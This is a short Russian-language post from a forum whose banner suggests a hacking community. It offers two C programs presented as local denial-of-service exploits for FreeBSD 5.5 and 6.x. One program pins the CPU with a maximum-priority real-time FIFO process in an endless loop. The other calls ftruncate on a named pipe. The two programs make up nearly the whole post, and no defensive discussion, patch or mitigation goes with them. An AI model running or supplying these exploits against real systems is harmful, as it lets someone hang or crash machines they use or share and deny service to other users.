• XSS.stack #1 – первый литературный журнал от юзеров форума

DoS FreeBSD 5.5-RELEASE, 6.0-RELEASE-p5, 6.1-RELEASE, 6.1-RELEASE-p10

not null

(L2) cache
Пользователь
Регистрация
14.04.2006
Сообщения
317
Решения
1
Реакции
0
Локальный отказ в обслуживании в: FreeBSD 5.5-RELEASE, 6.0-RELEASE-p5, 6.1-RELEASE, 6.1-RELEASE-p10
Раз
Код:
#include <sched.h>
int main(){
struct sched_param lol; 
lol.sched_priority = sched_get_priority_max(SCHED_FIFO); 
sched_setscheduler(0,SCHED_FIFO,&lol);
for(;;){}
}
Два
Код:
#include <fcntl.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>

int main(){
mkfifo("lol",0x1b6);
int fd = open("lol",O_RDWR); 
ftruncate(fd,12345);
close(fd);
}
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх